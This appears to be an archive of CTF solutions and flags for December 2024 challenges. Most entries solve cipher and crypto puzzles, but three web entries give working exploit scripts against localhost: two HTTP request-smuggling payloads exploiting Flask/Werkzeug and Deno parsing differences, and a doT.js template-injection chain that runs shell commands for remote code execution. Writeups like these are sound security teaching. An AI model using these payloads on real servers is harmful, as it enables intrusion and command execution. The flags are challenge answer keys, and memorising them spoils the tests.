Archived Challenges - December 2024

The lowercase 'w' in the description hints that it may be the key to finding the flag. Replacing spaces with underscores, we get 'welcome_to_round_52!!!!!'. Consider 'hi\r' (with a carriage return) in binary, '011010000110100100001101'. Line these two 24-character strings up, and modify a character in the description if it lines up with a 1, changing letters to digits if possible, switching their case otherwise, and changing exclamation points to question marks à la interrobang. ``` welcome_to_round_52!!!!! 011010000110100100001101 w31c0me_t0-r0unD_52!??!?

ictf{w31c0me_t0-r0unD_52!??!?}

https://cybersharing.net/s/737ade504dde2122154f4426dfe7e6f9

ictf{Uncertified_Moai_Enthusiast}

why would you submit this, did you think your score would underflow or something? anyways in the challenge On The Edge, if you look at line 19 you'll see the constant

3.56994560000000140085337825386932553974036355734792061 lop off that half left of that string of 0s and convert that number to bytes and you'll get ictf{easter_egg}

ictf{easter_egg}

Detailed writeup (comments in script): https://cybersharing.net/s/60488087b1c62e4b

ictf{chatGPT_is_my_best_friend}

https://cybersharing.net/s/0434731ffad51e26b0e8b28183f30acf

ictf{b4d_p4dd1n6_4nd_5m4ll_r0075}

https://cybersharing.net/s/53eb601de82a21583adcb173b894f173

ictf{n07_45_c0nv0lu73d_45_y0u_7h0u6h7}

https://cybersharing.net/s/f3ca2699c959fb881417f0373bd4f856

ictf{prn6_0n_7h3_3d63_0f_ch405}

https://cybersharing.net/s/75b7652bd723dd24e62bb336da314ebd

ictf{7r1v4r1473_c0pp3r5m17h_4774ck}

The challenge name is a clue as to the kind of cipher being used, namely a rail-fence cipher. Plug it into dcode or cyberchef with a key of 4 and you should get back "uhh_I'mnot_verygood_atwriting_easychallenges_sojust_decryptthis_vigenerecipher_forthe_flag,thekeyis_myfavourite~food,_{ivvev_uyi_fobx_mcwg}" This is pretty trivial to decrypt since you know the plaintext "ictf". Using the key "bread" yields heres_the_flag_ictf

ictf{zig_zag_go_brrrr}

https://cybersharing.net/s/075b386974ee03eda7cc32608594f540

ictf{c00l_k1d5_r3m3mb3r_70_3r453_73mp_k3y5}

This is a simple Caesar cipher with a small twist, the flag is encoded in the first vertical column instead of the horizontal ones. The rest of the message is gibberish. Decode it with a shift of 15 and you'll get back ictf

ictf{CaesarIsAlwaysASafeChoice}

https://cybersharing.net/s/604cfd708dd69ab0b6bf399c2e8cd0b7 Or, (p^{3q)/(pq) = p}2.

ictf{my_d0u813D_RSA_D!D_n07_Cook}

When 2 requests are sent in the same socket connection without Content-Length, flask ignores the second one while deno treat it as a next request.

from pwn import *

io = remote("localhost", 4000)
io.send(b"""
GET / HTTP/1.1

GET /flag HTTP/1.1
        """.strip().replace(b"\n", b"\r\n") + b"\r\n\r\n")

r = io.recv()
print(r.decode())

ictf{fl45k_54y5_n0_bu7_d3n0_54y5_y35}

Werkzeug only processes the Transfer-Encoding header if it is exactly "chunked". Otherwise it's ignored and Content-Length header is used (default 0) https://github.com/pallets/werkzeug/blob/5add63c955131fd73531d7369f16b2f1b4e342d4/src/werkzeug/sansio/utils.py#L140

On the other hand, hyper accepts comma-seperated values, as long as the last value is "chunked". (This is the expected behavior in RFC) https://github.com/hyperium/hyper/blob/c68d42444ea6b930cb75907336150d2baf58a7e8/src/headers.rs#L130

You can abuse this to make the body only valid for deno.

from pwn import *

io = remote("localhost", 4000)
io.send(b"""
POST /flag HTTP/1.1
Transfer-Encoding: foobar, chunked

15
please give me flag

0
        """.strip().replace(b"\n", b"\r\n") + b"\r\n\r\n")

r = io.recvall(timeout=1)
print(r.decode())

ictf{cl_54y5_570p_bu7_73_54y5_60_60_60}

The Buffer.from method in Node.js accepts various argument types. Although it's not explicitly documented, one format it supports is:

// <Buffer 61 62 63>
Buffer.from({
    type: "Buffer",
    data: [0x61, 0x62, 0x63]
})

(See: https://github.com/nodejs/node/blob/413975a580429585fbbf1e6d3bf55179b2b1e075/lib/buffer.js#L537) Using the /now endpoint, we can determine the format for new Date().toString(). This allows us to create an object for Buffer.from(user) that matches the output of Buffer.from(new Date('2025-01-01T00:00:00')).

With this setup, we can trigger SSTI in doT.js. doT.js templates support arbitrary code execution with the {{<expression>}} syntax. However, {{, and }} are restricted.

Examining the doT.js code, we see that /*...*/ are removed before processing. This means we can bypass the restriction using {/**/{<expression>}/**/}

To execute a function without using ( or ), override escapeHTML by {{=escapeHTML=eval}}and call it by {{!it.x}}.

https://github.com/olado/doT/blob/031d3bb7520eed6b93886df2b650b7fce12a7007/doT.js#L98

This allows for RCE. Here's the full exploit.

import requests

URL = "http://localhost:1337/"

r = requests.get(URL + "now")
print(r.text)

cmd = 'cat /flag-*'
data = {
    "type": "Buffer",
    "data": list("Wed Jan 01 2025 00:00:00 GMT+0000 (Coordinated Universal Time)".encode()), 
    "template": "{/**/{=encodeHTML=eval}/**/}{/**/{!it.x}/**/}",
    "x": """process.binding('spawn_sync').spawn({
    file: 'bash',
    args: ['bash','-c', '%s'], 
    stdio: [
        { type: 'pipe', readable: true, writable: true },
        { type: 'pipe', readable: true, writable: true }
    ],
}).output + ''""" % cmd
}
r = requests.post(URL, json=data)
print(r.text)

ictf{d1d_u_kn0w_7h47_2025==45^2???}

https://cybersharing.net/s/9e5b644f9dcee6fc91c3a7e0c8700d1f

ictf{Eulers_Favourite_Lottery_Numbers_2_3_5_11_17_41}

https://cybersharing.net/s/3f97cb38811660e19ccc3dadfebd7bcf

ictf{device_agnostic_language}

https://cybersharing.net/s/7e8ef12d8fb9996fee30db47bafeeb8b

ictf{m3rry_chr157m45_fr0m_7h3_1c7f_734m}

Basic Crackme where you enter 8 integers. Each time you enter a number the program checks whether when casted to a floating point it equals its own square, The only numbers which satisfy this are 0, -0, 1, inf. This gives a search space of 2^16 which is trivial to brute force, The correct sequence is 2139095040,1065353216,2147483648,0,0,2147483648,1065353216,1065353216. When sha2ed then xored with the flag var this yields ictf source: https://cybersharing.net/s/32041bd0cf66cd90fec010a176640d46

ictf{dont_forget_about_neg_0}